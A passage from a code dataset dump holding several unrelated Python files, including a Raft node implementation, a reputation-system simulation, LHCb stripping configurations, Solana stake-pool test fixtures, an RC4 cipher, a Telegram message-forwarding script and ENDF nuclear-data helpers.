or Leader).\n        self.state = None\n        # The server's term number.\n        self.currentTerm = 0\n        # The candidate the server voted for in its current term, or\n        # None if it hasn't voted for any.\n        self.votedFor = None\n        # A Sequence of log entries. The index into this sequence is the index of the\n        # log entry. Unfortunately, the Sequence module defines Head(s) as the entry\n        # with index 1, so be careful not to use that!\n        self.log = []\n        # The index of the latest entry in the log the state machine may apply.\n        self.commitIndex = 0\n        # The following variables are used only on candidates:\n        # The set of servers from which the candidate has received a RequestVote\n        # response in its currentTerm.\n        self.votesResponded = []\n        # The set of servers from which the candidate has received a vote in its\n        # currentTerm.\n        self.votesGranted = []\n        # The following variables are used only on leaders:\n        # The next entry to send to each follower.\n        self.nextIndex = 0\n        # The latest entry that each follower has acknowledged is the same as the\n        # leader's. This is used to calculate commitIndex on the leader.\n        self.matchIndex = 0\n\n    def __str__(self):\n        return f'node{self.index}: ({self.currentTerm}): {self.state}'\n\n    def init(self):\n        self.queue = ServerQueue(self, self.index, self.address)\n        self.queue.start()\n        self.set_state(FollowerState)\n\n    def set_state(self, state):\n        self.timeout = randint(5, 9)\n        logger.debug(f'{self}: Set new state {state}')\n        if self.state:\n            self.state.leave()\n        self.state = state(self)\n        self.state.enter()\n\n    def receive(self):\n        m = self.queue.receive()\n        logger.debug(f'{self}: Received {m}')\n        return m\n\n    def ack(self, message):\n        self.channel.send(message)\n        \n    def send(self, message):\n        if self.index == message.mdest:\n            logger.error(f'{self}: Sending {message} to myself {message.mdest}')\n            return\n        if message.mdest not in self.nodes:\n            logger.debug(f'{self}: No ClientQueue for {message.mdest}, create it...')\n            q = ClientQueue(message.mdest, ('localhost', BASEPORT + message.mdest))\n            self.nodes[message.mdest] = q\n            q.start()\n        node = self.nodes[message.mdest]\n        logger.debug(f'{self}: Send {message} to {message.mdest}')\n        node.send(message)\n\n    def dispatch(self, message):\n        logger.debug(f'{self}: Dispatching {message}')\n        for index in range(self.control.count):\n            if index != self.index:\n                m = copy.deepcopy(message)\n                m.msource = self.index\n                m.mdest = index\n                self.send(m)\n\n\nclass ServerChannel(Thread):\n    def __init__(self, node, index, queue, channel):\n        super().__init__()\n        self.node = node\n        self.queue = queue\n        self.channel = channel\n\n    def run(self):\n        while True:\n            try:\n                message = self.channel.receive()\n                # logger.debug(f'{self.node}: Server got message from channel: {message}, now={now}')\n            except ChannelTimeout:\n                message = TimeoutMessage(0)\n            except ChannelException as e:\n                logger.info(f'{self.node}: Read exception {e}, bye...')\n                return\n            self.queue.put(message)\n            # logger.debug(f'{self.node}: timeout = {self.node.timeout}, time passed: {time.time()-now}')\n\n\nclass ServerQueue(Thread):\n    def __init__(self, node, index, address):\n        super().__init__()\n        self.node = node\n        self.index = index\n        self.address = address\n        self.queue = Queue()\n        self.connections = {}\n\n    def run(self):\n        while True:\n            logger.debug(f'{self.index}: Create new Accept channel')\n            self.channel = Channel(self.index)\n            self.queue.put(SystemMessage('Initialized'))\n            running = True\n            while running:\n                try:\n                    channel = self.channel.accept(self.address)\n                except ChannelTimeout:\n                    self.queue.put(TimeoutMessage(0))\n                    continue\n                except ChannelException as e:\n                    logger.error(f'REINIT: ChannelException {e}')\n                    self.queue.put(ExceptionMessage(e))\n                    running = False\n                    continue\n                logger.debug(f'{self.node.index}: Got a new channel: {channel}')\n                sc = ServerChannel(self.node, self.index, self.queue, channel)\n                self.connections[self.index] = sc\n                sc.start()\n                self.queue.put(SystemMessage(f'NewClient connected to: {self.address}'))\n\n    def receive(self, timeout):\n        try:\n            message = self.queue.get(timeout=timeout)\n        except Empty:\n            message = TimeoutMessage(timeout)\n        logger.debug(f'{self.index}: Received message {message} from {message.msource}')\n        return message\n\n    def ack(self, message):\n        self.channel.send(message)\n\n    def send(self, message):\n        self.channel.send(message)\n\n\nclass ClientChannel(Thread):\n    def __init__(self, index, channel):\n        super().__init__()\n\n    def run(self):\n        while True:\n            message = self.queue.get()\n            self.channel.send(message)\n\n\nclass ClientQueue(Thread):\n    def __init__(self, index, address):\n        super().__init__()\n        self.index = index\n        self.address = address\n        self.queue = Queue()\n\n    def send(self, message):\n        return self.queue.put(message)\n\n    def run(self):\n        logger.info(f'{self.index}: ClientQueue running, connect to {self.address}')\n        self.retry = 0\n        while True:\n            self.channel = Channel(self.index)\n            try:\n                self.channel.connect(self.address)\n            except Exception as e:\n                logger.error(f'{self.index}: Channel connect exception {e}')\n                continue\n            logger.debug(f'{self.index}: Connected to {self.address}')\n            message = None\n            self.retry = 0\n            while self.retry < 5:\n                if not message:\n                    message = self.queue.get()\n                try:\n                    self.channel.send(message)\n                    message = None\n                    self.retry = 0\n                    continue\n                except Exception as e:\n                    logger.warning(f'Exception sending: {message} {e} retry={self.retry}')\n                    self.retry += 1\n\n\nclass Server(Node, Thread):\n    def run(self):\n        logger.info(f'node{self.index}: Server ready on {self.address}')\n        while True:\n            message = self.queue.receive(self.timeout)\n            handle = getattr(self.state, f'on_{message.request}')\n            reply = handle(message)\n            if reply:\n                self.send(reply)\n                self.config.save()\n            self.control.print_status(index=self.index, request=message,\n                                      response=reply)\n\n    def close(self):\n        self.config.save()\n\n\nif __name__ == \"__main__\":\n    serve = False\n    if 'debug' in sys.argv:\n        logger.setLevel(logging.DEBUG)\n    print('Starting NodeController')\n    nc = NodeController(5)\n    nc.init()\n    nc.start()\n","sub_path":"node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":10870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"158051612","text":"# MIT License\n# \n# Copyright (c) 2018 Stichting SingularityNET\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n# Reputation Service API, including Rating Service and Ranking Service\nfrom reputation_service_api import *\n\n### First define what we want;\n### We measure time spent:\nstart = time.time()\n## Define our reputation_system class\nreputation_system = PythonReputationService()\n### Set parameters!\nparams = {'default':0.5, 'conservaticism': 0.5, 'precision': 0.01, 'weighting': True, 'fullnorm': True, 'denomination': False,\n         'liquid': False, 'logranks': False, 'temporal_aggregation': False, 'logratings': False, 'days_jump': 1,\n         'use_ratings': True, 'start_date': datetime.date(2018, 1, 1)}\nreputation_system.set_parameters(params)\n### Further setting paramters; number of days and multiplier day/nr of days.\ndays = 90\nmultiplier = 1/days # Each day of reputation calculation adds this much weight to avg_reputation.\n# Generate simulated marketplace and save it to data.\ngood_agent = {\"range\": [1,80], \"values\": [100,1000], \"transactions\": 10, \"suppliers\": 0.5, \"consumers\": 0.5}\nbad_agent = {\"range\": [81,100], \"values\": [1,10], \"transactions\": 100, \"suppliers\": 0.5, \"consumers\": 0.5}\ndata = simulate(good_agent,bad_agent, reputation_system.date, days,reputation_system.use_ratings)\n### We read from transactions.tsv or just continue with data object. Further improvements of speed are possible\n### if we decide not to write transactions.tsv to disk - this is slowing down the algorithm.\ndata = data.sort_values(['Date'], ascending=[True]) \ndata['days_since_start'] = \" \"\nmydate = []\n### We sort data by date. So far all in pandas. Also, below loop is not necessary, but it will define\n### in which day a certain observation is.\ni = 0\nwhile i<len(data):\n    mydate.append(days_between(data['Date'][i],data['Date'][0]))\n    i+=1\ndata['days_since_start'] = mydate\ndaily_data = []\n### And now we can calculate days since start, so we can iterate through dates.\n### Computing average reputation is not part of reputation system, so we have to do it ourselves.\navg_reputation = initialize_dict(data['From'],data['To'])\ndata = data.rename(columns={'From': 'from', 'To': 'to','Amount':'value','Date':'time','Rating':'rating'})\ndata['weight'] = None\nreputation_system.convert_data(data)  \nreputation_system.ratings\n### We will also calculate average reputation. We had to sort the whole dataset at the beginning, so that we have\n### enough \n### We start everything with initializing ranks - putting them to default rank.\nreputation_system.initialize_ranks()\n\n\ni= 0\n\nwhile i<len(np.unique(data['days_since_start'])):\n    mydate = reputation_system.date\n    ### We loop through dates and take a subset of each date.\n    ### we change the date in our reputation system class.\n    since = reputation_system.date - timedelta(days=reputation_system.days_jump)\n    ### And update the ratings. This just adds mysubset, so a subset in our analysis in this particular moment.\n    ### After that, we update ranks.\n    reputation_system.update_ranks(mydate)\n    ### Finally we save file to disk. Not necessary and part of reputation service, but it's within this loop.\n    our_file = os.path.join(os.getcwd(),\"reputations\",\"reputation_\"+str(reputation_system.date)[0:10]+\".data\")\n    avg_reputation = avg_rep_calculate(avg_reputation,reputation_system.reputation,multiplier)\n    ### Save the reputation data in /reputations map.\n    save_zipped_pickle(reputation_system.reputation,our_file)  \n    print(\"Day\",i,\"completed.\")\n    reputation_system.add_time(reputation_system.days_jump)\n    \n    i+=reputation_system.days_jump\nprint(\"Ending time is:\",time.time()-start)\n\n### Now reputation computation is finished and we just calculate correlations.\navg_reputations = []\nfor i in range(1,len(reputation_system.reputation)):\n    avg_reputations.append(avg_reputation[str(i)])\n    \nreputations = []\nfor i in range(1,len(reputation_system.reputation)):\n    reputations.append(reputation_system.reputation[str(i)])    \nreal_values = []\ni = 1\nwhile i<(len(reputation_system.reputation)):\n    if i<0.80001 * (len(reputation_system.reputation)):\n        real_values.append(1)\n    else:\n        real_values.append(0)\n    i +=1  \n    \n### average\nprint(\"average Pearson:\",np.corrcoef(avg_reputations, real_values)[0][1])\n### Latest\nprint(\"last Pearson:\",np.corrcoef(reputations, real_values)[0][1])\n","sub_path":"reputation/reputation_calculation_statistics.py","file_name":"reputation_calculation_statistics.py","file_ext":"py","file_size_in_byte":5402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"285013440","text":"# Line config dictionaries for B2CC WG 2011 config dictionary\n\nBetaS = {        \n    'WGs'               : ['B2CC'],\n    'BUILDERTYPE'       : 'B2JpsiXforBeta_sConf',\n    'CONFIG'    : {\n                         'TRCHI2DOF'                 :       5\n                 ,       'BPVLTIME'                  :       0.2\n                 ,       'JpsiMassWindow'            :       80\n                 ,       'DaughterPT'                :       1000\n                 ,       'VCHI2PDOF'                 :       10\n                 ,       'Jpsi2MuMuPrescale'         :       0.006 \n         \t ,       'Jpsi2MuMuDetachedPrescale' :       1.0\n                 ,       'Bu2JpsiKPrescale'          :       0.017  \n                 ,       'Bd2JpsiKstarPrescale'      :       0.015   \n                 ,       'Bd2JpsiKsPrescale'         :       0.50   \n                 ,       'Bs2JpsiPhiPrescale'        :       0.043  \n                 ,       'Bs2Jpsif0Prescale'         :       0.02  \n                 ,       'Bs2JpsiEtaPrescale'        :       0.027\n                 ,       'Bs2JpsiEtapPrescale'       :       0.025\n                 ,       'Bs2JpsiPi0Prescale'        :       0.1\n                 ,       'Bs2JpsiRho0Prescale'       :       0.02\n                         },\n    'STREAMS' : {\n        'Leptonic' : [\n         'StrippingBetaSBs2JpsiPhiMicroLine'\n        ],\n        'Dimuon' : [\n         'StrippingBetaSJpsi2MuMuLine',\n         'StrippingBetaSBs2JpsiPhiDetachedLine',\n         'StrippingBetaSBu2JpsiKPrescaledLine',\n         'StrippingBetaSBs2JpsiPhiPrescaledLine',\n         'StrippingBetaSBd2JpsiKstarPrescaledLine',\n         'StrippingBetaSBd2JpsiKsPrescaledLine',\n         'StrippingBetaSBs2JpsiEtaPrescaledLine',\n         'StrippingBetaSBs2JpsiEtapPrescaledLine'\n        ]\n    }   \n    }\n\n# Neus\nBetaSPsi2S = {\n    'WGs'               : ['B2CC'],\n    'BUILDERTYPE'   : 'B2Psi2SXConf',\n    'CONFIG'    : {'PionsTRCHI2DOF': 5,\n#                 'Psi2SJpsiMIPCHI2DV' : 9 ,\n                 'Psi2SPiMIPCHI2DV':9 , #before 4\n                 'Psi2SAM23down': 400,\n                 'Psi2SAM23up': 800,\n                 'Psi2SAPT': 500,\n                 'Psi2SADAMASS': 30,\n                 'Psi2SVFASPF': 16,\n                 'PIDpi': 10, # new 10\n                 'ChKTRCHI2DOF':5,\n                 'ChKPID': 0 ,# before -2\n                 'PhiWin':20,\n                 'PhiPT':1000, #before 500 #ara 1000\n                 'PhiVFASPF':25,     ##ATTENTION before 16\n                 'PhiMAXTRCHI2DOF':5,\n                 'PhiMINTRCHI2DOF':-2,#\n                 'KstMassDown':  826,\n                 'KstMassUp': 966,\n                 'KstAPT':1500, #before 500\n                 'KstVFASPF':16,\n                 'KstTRCHI2DOF':4,\n                 'KstPIDK': 0, #before -2\n                 'KstPIDpi': 10, #new 10\n                 'KsVFASPF':20,\n                 'KsBPVDLS':5,\n                 'incl_LinePrescale':0.1, #0.1 #before 0.5 #avui 0.2\n                 'incl_LinePostscale':1,\n                 'BPVLTIME_detached':0.15,\n                 'BsMassCutDownPre':5000,     #ATTENTION before 5050\n                 'BsMassCutUpPre':5650,       #ATTENTION before 5600\n                 'BsMassCutDownPost':5150,    #before 5100\n                 'BsMassCutUpPost':5550,      #ATTENTION before 5550\n                 'BsVCHI2PDOF':20,      ##ATTENTION before 10\n                 'sig_LinePrescale': 1,\n                 'sig_LinePostscale': 1,\n                 'ChKPT': 500 ,\n                 'K_LinePrescale': 1, #0.5\n                 'K_LinePostscale': 1,\n                 'Kstar_LinePrescale': 1, #0.5 #before 1 #ara 0.5\n                 'Kstar_LinePostscale': 1,\n                 'MINTREEPT2' : 1000,\n                 'BKsVCHI2PDOF': 10,\n                 'Ks_LinePrescale': 1,\n                 'Ks_LinePostscale':1\n                },\n    'STREAMS' : {\n        'Dimuon' : []\n        }\n    }\n\n#Neus\nBetaSPsi2SMuMu = {\n    'WGs'           : ['B2CC'],\n    'BUILDERTYPE'   : 'Bs2Psi2SPhiMuMuConf',\n    'CONFIG'        : {'muPID':0.,\n                 'Psi2SMassWin':60.,\n                 'Psi2SADOCACHI2CUT':30.,\n                 'Psi2SVFASPF':16,\n                 'ChKTRCHI2DOF':5,\n                 'ChKPID':0, #before -2\n                 'PhiWin':20,\n                 'PhiPT':1000, #before 500\n                 'PhiVFASPF':25,        ##ATTENTION before 16\n                 'PhiMAXTRCHI2DOF':5,\n                 'PhiMINTRCHI2DOF':-2,\n                 'KstMassDown':  826,\n                 'KstMassUp': 966,\n                 'KstAPT':1200, #before 500\n                 'KstVFASPF':16,\n                 'KstTRCHI2DOF':4,\n                 'KstPIDK': 0, # before -2\n                 'KstPIDpi': 10, #new\n                 'KsVFASPF':20,\n                 'KsBPVDLS':5,\n                 'incl_LinePrescale':0.02,\n                 'incl_LinePostscale':1,\n                 'incl_LineTisTosHlt1':{ \"Hlt1DiMuonHighMassDecision%TOS\" : 0 },\n                 'incl_LineTisTosHlt2':{ \"Hlt2DiMuonPsi2SDecision%TOS\" : 0 },\n                 'BPVLTIME_detached':0.2, #before 0.15\n                 'incl_DetachedLinePrescale':1,\n                 'incl_DetachedLinePostscale':1,\n                 'incl_DetachedLineTisTosHlt1':{ \"Hlt1DiMuonHighMassDecision%TOS\" : 0,\n                                                 \"Hlt1TrackMuonDecision%TOS\" : 0,\n                                                 \"Hlt1TrackAllL0Decision%TOS\" : 0 },\n                 'incl_DetachedLineTisTosHlt2':{ \"Hlt2DiMuonDetachedHeavyDecision%TOS\" : 0,\n                                                 \"Hlt2DiMuonDetachedPsi2SDecision%TOS\" : 0 },\n                 'incl_DetachedCut':\"BPVDLS > 3\",      \n                 'BsMassCutDownPre':5000, #before 5000\n                 'BsMassCutUpPre':5650,  #before 5650\n                 'BsMassCutDownPost':5150, #before 5100\n                 'BsMassCutUpPost':5550,  #before 5550\n                 'BsVCHI2PDOF':20,         ##ATTENTION before 10\n                 'sig_PrescaledLinePrescale':0.5, #before 1.\n                 'sig_PrescaledLinePostscale':1,\n                 'sig_DetachedLinePrescale':1,\n                 'sig_DetachedLinePostscale':1,\n                 'BPVLTIME_unbiased': None,\n                 'MINTREEPT':1000, #before 1000\n                 'MINTREEPT2':1500, #before 1000\n#                 'sig_UnbiasedLinePrescale':1,\n#                 'sig_UnbiasedLinePostscale':1,\n                 'ChKPT':500,\n                 'K_PrescaledLinePrescale':0.1, #before 0.3 #before 0.2\n                 'K_PrescaledLinePostscale':1,\n                 'K_DetachedLinePrescale':1, #before 0.1\n                 'K_DetachedLinePostscale':1,\n#                 'K_UnbiasedLinePrescale':0.7, #before 1.\n#                 'K_UnbiasedLinePostscale':1,\n                 'KstarPT': 2,\n                 'Kstar_PrescaledLinePrescale':0.07, #before 0.1\n                 'Kstar_PrescaledLinePostscale':1,\n                 'Kstar_DetachedLinePrescale':1, #before 1\n                 'Kstar_DetachedLinePostscale':1,\n#                 'Kstar_UnbiasedLinePrescale':0.6, #before 1\n#                 'Kstar_UnbiasedLinePostscale':1,\n                 'BKsVCHI2PDOF':10,\n                 'Ks_PrescaledLinePrescale':1,\n                 'Ks_PrescaledLinePostscale':1,\n                 'Ks_DetachedLinePrescale':1,\n                 'Ks_DetachedLinePostscale':1\n#                 'Ks_UnbiasedLinePrescale':1,\n#                 'Ks_UnbiasedLinePostscale':1\n                },\n    'STREAMS' : {\n        'Dimuon' : [\n            'StrippingBetaSPsi2SMuMu_InclPsi2SToMuMuLine',\n            'StrippingBetaSPsi2SMuMu_InclPsi2SToMuMuDetachedLine'\n            ]\n        }\n    }\n","sub_path":"Stripping/Phys/StrippingSettings/python/StrippingSettings/Stripping20r1p2/LineConfigDictionaries_B2CC.py","file_name":"LineConfigDictionaries_B2CC.py","file_ext":"py","file_size_in_byte":7643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"506533426","text":"import asyncio\nimport pytest\nimport os\nimport shutil\nimport tempfile\nimport time\nfrom typing import Iterator, List, Tuple\nfrom subprocess import Popen\n\nfrom solana.keypair import Keypair\nfrom solana.publickey import PublicKey\nfrom solana.rpc.async_api import AsyncClient\nfrom solana.rpc.commitment import Confirmed\n\nfrom vote.actions import create_vote\nfrom system.actions import airdrop\nfrom stake_pool.actions import create_all, add_validator_to_pool\nfrom stake_pool.state import Fee\n\n\n@pytest.fixture(scope=\"session\")\ndef solana_test_validator():\n    old_cwd = os.getcwd()\n    newpath = tempfile.mkdtemp()\n    os.chdir(newpath)\n    validator = Popen([\n        \"solana-test-validator\",\n        \"--reset\", \"--quiet\",\n        \"--bpf-program\", \"SPoo1Ku8WFXoNDMHPsrGSTSG1Y47rzgn41SLUNakuHy\",\n        f\"{old_cwd}/../../target/deploy/spl_stake_pool.so\",\n        \"--slots-per-epoch\", \"64\",\n    ],)\n    yield\n    validator.kill()\n    os.chdir(old_cwd)\n    shutil.rmtree(newpath)\n\n\n@pytest.fixture\ndef validators(event_loop, async_client, payer) -> List[PublicKey]:\n    num_validators = 3\n    validators = []\n    futures = []\n    for i in range(num_validators):\n        vote = Keypair()\n        node = Keypair()\n        futures.append(create_vote(async_client, payer, vote, node, payer.public_key, payer.public_key, 10))\n        validators.append(vote.public_key)\n    event_loop.run_until_complete(asyncio.gather(*futures))\n    return validators\n\n\n@pytest.fixture\ndef stake_pool_addresses(event_loop, async_client, payer, validators) -> Tuple[PublicKey, PublicKey]:\n    fee = Fee(numerator=1, denominator=1000)\n    referral_fee = 20\n    stake_pool_addresses = event_loop.run_until_complete(\n        create_all(async_client, payer, fee, referral_fee)\n    )\n    futures = [\n        add_validator_to_pool(async_client, payer, stake_pool_addresses[0], validator)\n        for validator in validators\n    ]\n    event_loop.run_until_complete(asyncio.gather(*futures))\n    return stake_pool_addresses\n\n\n@pytest.fixture\ndef event_loop():\n    loop = asyncio.get_event_loop()\n    yield loop\n    loop.close()\n\n\n@pytest.fixture\ndef async_client(event_loop, solana_test_validator) -> Iterator[AsyncClient]:\n    async_client = AsyncClient(commitment=Confirmed)\n    total_attempts = 10\n    current_attempt = 0\n    while not event_loop.run_until_complete(async_client.is_connected()):\n        if current_attempt == total_attempts:\n            raise Exception(\"Could not connect to test validator\")\n        else:\n            current_attempt += 1\n        time.sleep(1)\n    yield async_client\n    event_loop.run_until_complete(async_client.close())\n\n\n@pytest.fixture\ndef payer(event_loop, async_client) -> Keypair:\n    payer = Keypair()\n    airdrop_lamports = 10_000_000_000\n    event_loop.run_until_complete(airdrop(async_client, payer.public_key, airdrop_lamports))\n    return payer\n","sub_path":"stake-pool/py/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"503069881","text":"import io\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom utils.msgpack_file_loader import msgpack_data_index, load_images_entries\nfrom PIL import Image\n\n\ndef montage_previewer(file_path, num_row: int, num_col: int, skip_first_n: int = None, skip_last_n: int = None):\n    index = msgpack_data_index(file_path)\n\n    length = len(index)\n    num_images = num_row * num_col\n\n    interval = int(length / num_images)\n\n    start = 0 if skip_first_n is None else skip_first_n\n    end = length if skip_last_n is None else length - skip_last_n\n\n    assert end > start and end - start > num_images\n\n    image_index = np.arange(start, end, interval).tolist()\n\n    image_entries = load_images_entries(file_path, image_index, index)\n\n    fig: plt.Figure\n    fig, ax = plt.subplots(nrows=num_row, ncols=num_col)\n\n    for row in ax:\n        col: plt.Axes\n        for col in row:\n            im = next(image_entries)\n\n            im: Image.Image = Image.open(io.BytesIO(im[b\"data\"]))\n\n            col.imshow(im, cmap=\"gray\")\n            col.axis(\"off\")\n    fig.subplots_adjust(wspace=0, hspace=0)\n\n    return fig\n","sub_path":"projects/nncrystal/utils/previewer.py","file_name":"previewer.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"440315904","text":"\"\"\"Pure-Python RC4 implementation.\"\"\"\n\nfrom .RC4 import RC4\nfrom .cryptomath import *\n\ndef new(key):\n    return Python_RC4(key)\n\nclass Python_RC4(RC4):\n    def __init__(self, key):\n        RC4.__init__(self, key, \"python\")\n        keyBytes = stringToBytes(key)\n        S = [i for i in range(256)]\n        j = 0\n        for i in range(256):\n            j = (j + S[i] + keyBytes[i % len(keyBytes)]) % 256\n            S[i], S[j] = S[j], S[i]\n\n        self.S = S\n        self.i = 0\n        self.j = 0\n\n    def encrypt(self, plaintext):\n        plaintextBytes = stringToBytes(plaintext)\n        S = self.S\n        i = self.i\n        j = self.j\n        for x in range(len(plaintextBytes)):\n            i = (i + 1) % 256\n            j = (j + S[i]) % 256\n            S[i], S[j] = S[j], S[i]\n            t = (S[i] + S[j]) % 256\n            plaintextBytes[x] ^= S[t]\n        self.i = i\n        self.j = j\n        return bytesToString(plaintextBytes)\n\n    def decrypt(self, ciphertext):\n        return self.encrypt(ciphertext)\n","sub_path":"python3-alpha/python-libs/gdata/tlslite/utils/Python_RC4.py","file_name":"Python_RC4.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"3565209","text":"from telethon import TelegramClient, events, sync\nfrom telethon.sessions import StringSession\nfrom telethon.tl.functions.messages import GetHistoryRequest\nimport psycopg2\nfrom decouple import config\nimport json\nfrom time import sleep\n\n# Connects to the database and gets the StringSession if there is any\nconn = psycopg2.connect(config('DATABASE_URL'))\ncursor = conn.cursor()\ncursor.execute('SELECT * FROM authentication ORDER BY id DESC LIMIT 1') # get the last session\nrow = cursor.fetchone()\nstring_session = None\ntry:\n    string_session = row[1]\nexcept TypeError:\n    print('User not authenticated')\n\napi_id = config('API_ID')\napi_hash = config('API_HASH')\n\nclient = TelegramClient(StringSession(string_session), api_id, api_hash)\nclient.connect()\n\nif not client.is_user_authorized():\n    exit()\n\norigin = client.get_entity(int(config('ORIGIN')))\ndestination = client.get_entity(int(config('DESTINATION')))\n\nfor message in client.iter_messages(origin, reverse=True):\n    if message.message is not None:\n        client.send_message(destination, message)\n        sleep(1)","sub_path":"src/python/redirectPreviousMessages.py","file_name":"redirectPreviousMessages.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"252506855","text":"# <<BEGIN-copyright>>\n# Copyright 2022, Lawrence Livermore National Security, LLC.\n# See the top-level COPYRIGHT file for details.\n# \n# SPDX-License-Identifier: BSD-3-Clause\n# <<END-copyright>>\n\nfrom PoPs import IDs as IDsPoPsModule\nfrom PoPs.chemicalElements import misc as chemicalElementMiscPoPsModule\n\nfrom fudge.outputChannelData import Q as QModule\nfrom brownies.legacy.endl import misc as miscENDLModule\n\nendfMATBases = { 0 :   1,\n                 1 :   1,  2 :   3,  3 :   6,  4 :   9,  5 :  10,  6 :  12,  7 :  14,  8 :  16,  9 :  19, 10 :  20,\n                11 :  23, 12 :  24, 13 :  27, 14 :  28, 15 :  31, 16 :  32, 17 :  35, 18 :  36, 19 :  39, 20 :  40,\n                21 :  45, 22 :  46, 23 :  50, 24 :  50, 25 :  55, 26 :  54, 27 :  59, 28 :  58, 29 :  63, 30 :  64,\n                31 :  69, 32 :  70, 33 :  75, 34 :  74, 35 :  79, 36 :  78, 37 :  85, 38 :  84, 39 :  89, 40 :  90,\n                41 :  93, 42 :  92, 43 :  99, 44 :  96, 45 : 103, 46 : 102, 47 : 107, 48 : 106, 49 : 113, 50 : 112,\n                51 : 121, 52 : 120, 53 : 127, 54 : 124, 55 : 133, 56 : 130, 57 : 138, 58 : 136, 59 : 141, 60 : 142,\n                61 : 139, 62 : 144, 63 : 151, 64 : 152, 65 : 159, 66 : 156, 67 : 165, 68 : 162, 69 : 169, 70 : 168,\n                71 : 175, 72 : 174, 73 : 180, 74 : 180, 75 : 185, 76 : 184, 77 : 191, 78 : 190, 79 : 197, 80 : 196,\n                81 : 203, 82 : 204, 83 : 209, 84 : 206, 85 :  -1, 86 :  -1, 87 :  -1, 88 : 223, 89 : 225, 90 : 227,\n                91 : 229, 92 : 234, 93 : 230, 94 : 235, 95 : 235, 96 : 240, 97 : 240, 98 : 240, 99 : 265, 100 : 244 }\n\ndef endfZAPFromMT( MT ) :\n    \"\"\"This function identifies the outgoing particle (i.e., ZAP) from the MT number. The outgoing \n    particle is almost always a neutron, except in a few cases.\"\"\"\n\n    if   (MT >= 600 and MT <= 649) or MT == 103:                # proton\n        return \"H1\"\n    elif (MT >= 650 and MT <= 699) or MT == 104:                # deuteron\n        return \"H2\"\n    elif (MT >= 700 and MT <= 749) or MT == 105:                # triton\n        return \"H3\"\n    elif (MT >= 750 and MT <= 799) or MT == 106:                # helium-3\n        return \"He3\"\n    elif (MT >= 800 and MT <= 849) or MT == 107:                # helium-4\n        return \"He4\"\n    elif (MT >= 900 and MT <= 999) or MT == 102:                # gamma\n        return \"photon\"\n    return( IDsPoPsModule.neutron )                             # neutron\n\ndef ZAAndMATFromParticleName( particleName ) :\n\n    Z, A, suffix, ZA = miscENDLModule.getZ_A_suffix_andZAFromName( particleName )\n    m = 0\n    if( len( suffix ) ) :\n        if( suffix[0] == 'm' ) : m = int( suffix[1:] )\n    if( m > 2 ) : raise Exception( 'Unsupport ENDF MAT for particle = %s' % particleName )\n    if( A == 0 ) :\n        MAT = 100 * Z\n        if( Z == 100 ) : MAT = 9920         # Special case for 100_Fm_000.\n    else :\n        Zp, AJumps = Z, 3\n        if( Z >= 99 ) : Zp, AJumps  = 99, 1\n        MATBases = endfMATBases[Z]\n        if( MATBases < 0 ) : MATBases = { 85 : 210, 86 : 211, 87 : 212  }[Z]\n        MAT = 100 * Zp + 25 + AJumps * ( A - MATBases ) + m\n        # Kludge for Es254_m1 (MAT logic doesn't allow for isomers above Z=98, so Es254_m1 takes what should\n        # be the Es255 MAT):\n        if Z==99 and A>=255: MAT += 1\n    return( ZA, MAT )\n\ndef getParticleNameFromMAT( MAT ):\n\n    Z, MATstuff = divmod( MAT, 100 )\n    nStable, nIsomer = divmod( (MATstuff-25), 3 )\n    A = endfMATBases[Z] + nStable\n    name = chemicalElementMiscPoPsModule.idFromZAndA( Z, A )\n    if( nIsomer ) : name += '_m%d' % nIsomer\n    return( name )\n\nclass ENDF_MTtoC_ProductList:\n\n    def __init__( self, C, reactionLabel, isFission = 0, ns = 0, H1s = 0, H2s = 0, H3s = 0, He3s = 0, He4s = 0, gammas = 0, residualLevel = None ) :\n\n        self.C = C\n        self.residualLevel = residualLevel\n        self.reactionLabel = reactionLabel\n        self.isFission = isFission\n        self.productCounts = { IDsPoPsModule.neutron : ns, 'H1' : H1s, 'H2' : H2s, 'H3' : H3s, 'He3' : He3s, 'He4' : He4s, IDsPoPsModule.photon : gammas }\n\n    def __getitem__( self, product ) :\n\n        return( self.productCounts[product] )\n\n    def __repr__( self ) :\n\n        s = ''\n        for p in [ IDsPoPsModule.neutron, 'H1', 'H2', 'H3', 'He3', 'He4', IDsPoPsModule.photon ] :\n            if( self.productCounts[p] != 0 ) : s += \" %5s = %d:\" % ( p, self.productCounts[p] )\n        s = \"C = %s: isFission = %5s:%s --- %s\" % ( self.C, self.isFission != 0, s, self.reactionLabel )\n        return( s )\n\ndef endfMTtoC_ProductList_excitedStateInitializer( list, MTGround, 